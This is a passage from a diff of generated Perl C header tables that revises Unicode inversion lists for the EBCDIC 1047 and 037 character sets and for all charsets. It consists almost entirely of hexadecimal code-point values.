0x50A, + 0x50B, + 0x50C, + 0x50D, + 0x50E, + 0x50F, + 0x510, + 0x511, + 0x512, + 0x513, + 0x514, + 0x515, + 0x516, + 0x517, + 0x518, + 0x519, + 0x51A, + 0x51B, + 0x51C, + 0x51D, + 0x51E, + 0x51F, + 0x520, + 0x521, + 0x522, + 0x523, + 0x524, + 0x525, + 0x526, + 0x527, + 0x528, + 0x529, + 0x52A, + 0x52B, + 0x52C, + 0x52D, + 0x52E, + 0x52F, + 0x531, + 0x557, + 0x10A0, + 0x10C6, + 0x10C7, + 0x10C8, + 0x10CD, + 0x10CE, + 0x13A0, + 0x13F6, + 0x1E00, + 0x1E01, + 0x1E02, + 0x1E03, + 0x1E04, + 0x1E05, + 0x1E06, + 0x1E07, + 0x1E08, + 0x1E09, + 0x1E0A, + 0x1E0B, + 0x1E0C, + 0x1E0D, + 0x1E0E, + 0x1E0F, + 0x1E10, + 0x1E11, + 0x1E12, + 0x1E13, + 0x1E14, + 0x1E15, + 0x1E16, + 0x1E17, + 0x1E18, + 0x1E19, + 0x1E1A, + 0x1E1B, + 0x1E1C, + 0x1E1D, + 0x1E1E, + 0x1E1F, + 0x1E20, + 0x1E21, + 0x1E22, + 0x1E23, + 0x1E24, + 0x1E25, + 0x1E26, + 0x1E27, + 0x1E28, + 0x1E29, + 0x1E2A, + 0x1E2B, + 0x1E2C, + 0x1E2D, + 0x1E2E, + 0x1E2F, + 0x1E30, + 0x1E31, + 0x1E32, + 0x1E33, + 0x1E34, + 0x1E35, + 0x1E36, + 0x1E37, + 0x1E38, + 0x1E39, + 0x1E3A, + 0x1E3B, + 0x1E3C, + 0x1E3D, + 0x1E3E, + 0x1E3F, + 0x1E40, + 0x1E41, + 0x1E42, + 0x1E43, + 0x1E44, + 0x1E45, + 0x1E46, + 0x1E47, + 0x1E48, + 0x1E49, + 0x1E4A, + 0x1E4B, + 0x1E4C, + 0x1E4D, + 0x1E4E, + 0x1E4F, + 0x1E50, + 0x1E51, + 0x1E52, + 0x1E53, + 0x1E54, + 0x1E55, + 0x1E56, + 0x1E57, + 0x1E58, + 0x1E59, + 0x1E5A, + 0x1E5B, + 0x1E5C, + 0x1E5D, + 0x1E5E, + 0x1E5F, + 0x1E60, + 0x1E61, + 0x1E62, + 0x1E63, + 0x1E64, + 0x1E65, + 0x1E66, + 0x1E67, + 0x1E68, + 0x1E69, + 0x1E6A, + 0x1E6B, + 0x1E6C, + 0x1E6D, + 0x1E6E, + 0x1E6F, + 0x1E70, + 0x1E71, + 0x1E72, + 0x1E73, + 0x1E74, + 0x1E75, + 0x1E76, + 0x1E77, + 0x1E78, + 0x1E79, + 0x1E7A, + 0x1E7B, + 0x1E7C, + 0x1E7D, + 0x1E7E, + 0x1E7F, + 0x1E80, + 0x1E81, + 0x1E82, + 0x1E83, + 0x1E84, + 0x1E85, + 0x1E86, + 0x1E87, + 0x1E88, + 0x1E89, + 0x1E8A, + 0x1E8B, + 0x1E8C, + 0x1E8D, + 0x1E8E, + 0x1E8F, + 0x1E90, + 0x1E91, + 0x1E92, + 0x1E93, + 0x1E94, + 0x1E95, + 0x1E9E, + 0x1E9F, + 0x1EA0, + 0x1EA1, + 0x1EA2, + 0x1EA3, + 0x1EA4, + 0x1EA5, + 0x1EA6, + 0x1EA7, + 0x1EA8, + 0x1EA9, + 0x1EAA, + 0x1EAB, + 0x1EAC, + 0x1EAD, + 0x1EAE, + 0x1EAF, + 0x1EB0, + 0x1EB1, + 0x1EB2, + 0x1EB3, + 0x1EB4, + 0x1EB5, + 0x1EB6, + 0x1EB7, + 0x1EB8, + 0x1EB9, + 0x1EBA, + 0x1EBB, + 0x1EBC, + 0x1EBD, + 0x1EBE, + 0x1EBF, + 0x1EC0, + 0x1EC1, + 0x1EC2, + 0x1EC3, + 0x1EC4, + 0x1EC5, + 0x1EC6, + 0x1EC7, + 0x1EC8, + 0x1EC9, + 0x1ECA, + 0x1ECB, + 0x1ECC, + 0x1ECD, + 0x1ECE, + 0x1ECF, + 0x1ED0, + 0x1ED1, + 0x1ED2, + 0x1ED3, + 0x1ED4, + 0x1ED5, + 0x1ED6, + 0x1ED7, + 0x1ED8, + 0x1ED9, + 0x1EDA, + 0x1EDB, + 0x1EDC, + 0x1EDD, + 0x1EDE, + 0x1EDF, + 0x1EE0, + 0x1EE1, + 0x1EE2, + 0x1EE3, + 0x1EE4, + 0x1EE5, + 0x1EE6, + 0x1EE7, + 0x1EE8, + 0x1EE9, + 0x1EEA, + 0x1EEB, + 0x1EEC, + 0x1EED, + 0x1EEE, + 0x1EEF, + 0x1EF0, + 0x1EF1, + 0x1EF2, + 0x1EF3, + 0x1EF4, + 0x1EF5, + 0x1EF6, + 0x1EF7, + 0x1EF8, + 0x1EF9, + 0x1EFA, + 0x1EFB, + 0x1EFC, + 0x1EFD, + 0x1EFE, + 0x1EFF, + 0x1F08, + 0x1F10, + 0x1F18, + 0x1F1E, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, + 0x1F48, + 0x1F4E, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1FB8, + 0x1FBC, + 0x1FC8, + 0x1FCC, + 0x1FD8, + 0x1FDC, + 0x1FE8, + 0x1FED, + 0x1FF8, + 0x1FFC, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210B, + 0x210E, + 0x2110, + 0x2113, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, 0x2126, 0x2127, + 0x2128, + 0x2129, 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, + 0x212E, + 0x2130, + 0x2134, + 0x213E, + 0x2140, + 0x2145, + 0x2146, 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2E00, - 0x2E43, - 0x2E44, - 0x2E4A, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3004, - 0x3005, - 0x3012, - 0x3013, - 0x3020, - 0x3021, - 0x3036, - 0x3037, - 0x3248, - 0x3260, - 0x327F, - 0x3280, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3371, - 0x337B, - 0x3380, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA700, + 0x2170, + 0x2183, + 0x2184, + 0x24B6, + 0x24D0, + 0x2C00, + 0x2C2F, + 0x2C60, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, + 0x2CEB, + 0x2CEC, + 0x2CED, + 0x2CEE, + 0x2CF2, + 0x2CF3, + 0xA640, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA680, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, 0xA722, - 0xA788, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 0xA764, + 0xA765, + 0xA766, + 0xA767, + 0xA768, + 0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, 0xA78B, - 0xAB5B, - 0xAB5C, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFEFF, - 0xFF00, - 0xFF01, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA790, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7AF, + 0xA7B0, + 0xA7B5, + 0xA7B6, + 0xA7B7, 0xFF21, 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF61, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FD, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D300, - 0x1D357, + 0x10400, + 0x10428, + 0x104B0, + 0x104D4, + 0x10C80, + 0x10CB3, + 0x118A0, + 0x118C0, 0x1D400, - 0x1D455, - 0x1D456, + 0x1D41A, + 0x1D434, + 0x1D44E, + 0x1D468, + 0x1D482, + 0x1D49C, 0x1D49D, 0x1D49E, 0x1D4A0, @@ -370013,12 +93766,10 @@ static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 1047 */ 0x1D4A9, 0x1D4AD, 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, + 0x1D4B6, + 0x1D4D0, + 0x1D4EA, + 0x1D504, 0x1D506, 0x1D507, 0x1D50B, @@ -370026,7 +93777,7 @@ static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 1047 */ 0x1D515, 0x1D516, 0x1D51D, - 0x1D51E, + 0x1D538, 0x1D53A, 0x1D53B, 0x1D53F, @@ -370036,93 +93787,44 @@ static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 1047 */ 0x1D547, 0x1D54A, 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, + 0x1D6A8, + 0x1D6C1, + 0x1D6E2, + 0x1D6FB, + 0x1D71C, + 0x1D735, + 0x1D756, + 0x1D76F, + 0x1D790, + 0x1D7A9, + 0x1D7CA, + 0x1D7CB, + 0x1E900, + 0x1E922, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 037 */ - 298, /* Number of elements */ +static const UV XPosixWord_invlist[] = { /* for EBCDIC 037 */ + 1381, /* Number of elements */ 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; + 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, 0x42, @@ -370131,6 +93833,8 @@ static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 037 */ 0x5A, 0x62, 0x6A, + 0x6D, + 0x6E, 0x70, 0x79, 0x80, @@ -370141,6 +93845,8 @@ static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 037 */ 0x9D, 0x9E, 0x9F, + 0xA0, + 0xA1, 0xA2, 0xAA, 0xAC, @@ -370156,334 +93862,98 @@ static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 037 */ 0xE2, 0xEA, 0xEB, - 0xF0, + 0xFA, 0xFB, 0xFF, 0x100, - 0x2B9, + 0x2C2, + 0x2C6, + 0x2D2, 0x2E0, 0x2E5, - 0x2EA, 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, 0x300, - 0x374, 0x375, + 0x376, + 0x378, + 0x37A, 0x37E, 0x37F, - 0x385, + 0x380, 0x386, 0x387, 0x388, - 0x605, - 0x606, - 0x6DD, - 0x6DE, - 0x8E2, - 0x8E3, - 0xE3F, - 0xE40, - 0xFD5, - 0xFD9, - 0x16EB, - 0x16EE, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20C0, - 0x2100, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2E00, - 0x2E43, - 0x2E44, - 0x2E4A, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3004, - 0x3005, - 0x3012, - 0x3013, - 0x3020, - 0x3021, - 0x3036, - 0x3037, - 0x3248, - 0x3260, - 0x327F, - 0x3280, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3371, - 0x337B, - 0x3380, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA700, - 0xA722, - 0xA788, - 0xA78B, - 0xAB5B, - 0xAB5C, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF61, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FD, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D300, - 0x1D357, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ - 1294, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, 0x38B, 0x38C, 0x38D, 0x38E, 0x3A2, 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x483, 0x530, 0x531, 0x557, 0x559, - 0x560, + 0x55A, 0x561, 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, 0x5C8, 0x5D0, 0x5EB, 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, + 0x5F3, + 0x610, + 0x61B, + 0x620, + 0x66A, + 0x66E, + 0x6D4, + 0x6D5, + 0x6DD, + 0x6DF, + 0x6E9, + 0x6EA, + 0x6FD, + 0x6FF, + 0x700, + 0x710, 0x74B, 0x74D, 0x7B2, 0x7C0, + 0x7F6, + 0x7FA, 0x7FB, 0x800, 0x82E, - 0x830, - 0x83F, 0x840, 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, 0x8A0, 0x8B5, 0x8B6, 0x8BE, 0x8D4, + 0x8E2, + 0x8E3, + 0x964, + 0x966, + 0x970, + 0x971, 0x984, 0x985, 0x98D, @@ -370510,7 +93980,7 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x9DF, 0x9E4, 0x9E6, - 0x9FE, + 0x9F2, 0xA01, 0xA04, 0xA05, @@ -370568,9 +94038,9 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xAE0, 0xAE4, 0xAE6, - 0xAF2, + 0xAF0, 0xAF9, - 0xB00, + 0xAFA, 0xB01, 0xB04, 0xB05, @@ -370598,7 +94068,9 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xB5F, 0xB64, 0xB66, - 0xB78, + 0xB70, + 0xB71, + 0xB72, 0xB82, 0xB84, 0xB85, @@ -370630,7 +94102,7 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xBD7, 0xBD8, 0xBE6, - 0xBFB, + 0xBF0, 0xC00, 0xC04, 0xC05, @@ -370655,7 +94127,7 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xC64, 0xC66, 0xC70, - 0xC78, + 0xC80, 0xC84, 0xC85, 0xC8D, @@ -370683,21 +94155,27 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xCF0, 0xCF1, 0xCF3, - 0xD00, + 0xD01, 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, + 0xD3B, + 0xD3D, 0xD45, 0xD46, 0xD49, 0xD4A, - 0xD50, + 0xD4F, 0xD54, + 0xD58, + 0xD5F, 0xD64, 0xD66, + 0xD70, + 0xD7A, 0xD80, 0xD82, 0xD84, @@ -370722,11 +94200,13 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xDE6, 0xDF0, 0xDF2, - 0xDF5, + 0xDF4, 0xE01, 0xE3B, - 0xE3F, - 0xE5C, + 0xE40, + 0xE4F, + 0xE50, + 0xE5A, 0xE81, 0xE83, 0xE84, @@ -370764,24 +94244,42 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0xEDC, 0xEE0, 0xF00, + 0xF01, + 0xF18, + 0xF1A, + 0xF20, + 0xF2A, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3E, 0xF48, 0xF49, 0xF6D, 0xF71, + 0xF85, + 0xF86, 0xF98, 0xF99, 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, + 0xFC6, + 0xFC7, 0x1000, + 0x104A, + 0x1050, + 0x109E, + 0x10A0, 0x10C6, 0x10C7, 0x10C8, 0x10CD, 0x10CE, 0x10D0, + 0x10FB, + 0x10FC, 0x1249, 0x124A, 0x124E, @@ -370814,23 +94312,29 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1318, 0x135B, 0x135D, - 0x137D, + 0x1360, 0x1380, - 0x139A, + 0x1390, 0x13A0, 0x13F6, 0x13F8, 0x13FE, - 0x1400, - 0x169D, + 0x1401, + 0x166D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, 0x16A0, + 0x16EB, + 0x16EE, 0x16F9, 0x1700, 0x170D, 0x170E, 0x1715, 0x1720, - 0x1737, + 0x1735, 0x1740, 0x1754, 0x1760, @@ -370840,13 +94344,15 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1772, 0x1774, 0x1780, + 0x17D4, + 0x17D7, + 0x17D8, + 0x17DC, 0x17DE, 0x17E0, 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, + 0x180B, + 0x180E, 0x1810, 0x181A, 0x1820, @@ -370861,9 +94367,7 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x192C, 0x1930, 0x193C, - 0x1940, - 0x1941, - 0x1944, + 0x1946, 0x196E, 0x1970, 0x1975, @@ -370872,10 +94376,10 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x19B0, 0x19CA, 0x19D0, - 0x19DB, - 0x19DE, + 0x19DA, + 0x1A00, 0x1A1C, - 0x1A1E, + 0x1A20, 0x1A5F, 0x1A60, 0x1A7D, @@ -370883,28 +94387,34 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1A8A, 0x1A90, 0x1A9A, - 0x1AA0, - 0x1AAE, + 0x1AA7, + 0x1AA8, 0x1AB0, 0x1ABF, 0x1B00, 0x1B4C, 0x1B50, - 0x1B7D, + 0x1B5A, + 0x1B6B, + 0x1B74, 0x1B80, 0x1BF4, - 0x1BFC, + 0x1C00, 0x1C38, - 0x1C3B, + 0x1C40, 0x1C4A, 0x1C4D, + 0x1C7E, + 0x1C80, 0x1C89, - 0x1CC0, - 0x1CC8, 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CF7, + 0x1CF8, 0x1CFA, 0x1D00, - 0x1DFA, + 0x1DF6, 0x1DFB, 0x1F16, 0x1F18, @@ -370926,54 +94436,76 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x1F80, 0x1FB5, 0x1FB6, + 0x1FBD, + 0x1FBE, + 0x1FBF, + 0x1FC2, 0x1FC5, 0x1FC6, + 0x1FCD, + 0x1FD0, 0x1FD4, 0x1FD6, 0x1FDC, - 0x1FDD, - 0x1FF0, + 0x1FE0, + 0x1FED, 0x1FF2, 0x1FF5, 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, + 0x1FFD, + 0x200C, + 0x200E, + 0x203F, + 0x2041, + 0x2054, + 0x2055, + 0x2071, 0x2072, - 0x2074, - 0x208F, + 0x207F, + 0x2080, 0x2090, 0x209D, - 0x20A0, - 0x20C0, 0x20D0, 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, + 0x2102, + 0x2103, + 0x2107, + 0x2108, + 0x210A, + 0x2114, + 0x2115, + 0x2116, + 0x2119, + 0x211E, + 0x2124, + 0x2125, + 0x2126, + 0x2127, + 0x2128, + 0x2129, + 0x212A, + 0x212E, + 0x212F, + 0x213A, + 0x213C, + 0x2140, + 0x2145, + 0x214A, + 0x214E, + 0x214F, + 0x2160, + 0x2189, + 0x24B6, + 0x24EA, 0x2C00, 0x2C2F, 0x2C30, 0x2C5F, 0x2C60, + 0x2CE5, + 0x2CEB, 0x2CF4, - 0x2CF9, + 0x2D00, 0x2D26, 0x2D27, 0x2D28, @@ -370982,7 +94514,7 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x2D30, 0x2D68, 0x2D6F, - 0x2D71, + 0x2D70, 0x2D7F, 0x2D97, 0x2DA0, @@ -371002,70 +94534,86 @@ static const UV PL_ZZZZ_invlist[] = { /* for all charsets */ 0x2DD8, 0x2DDF, 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 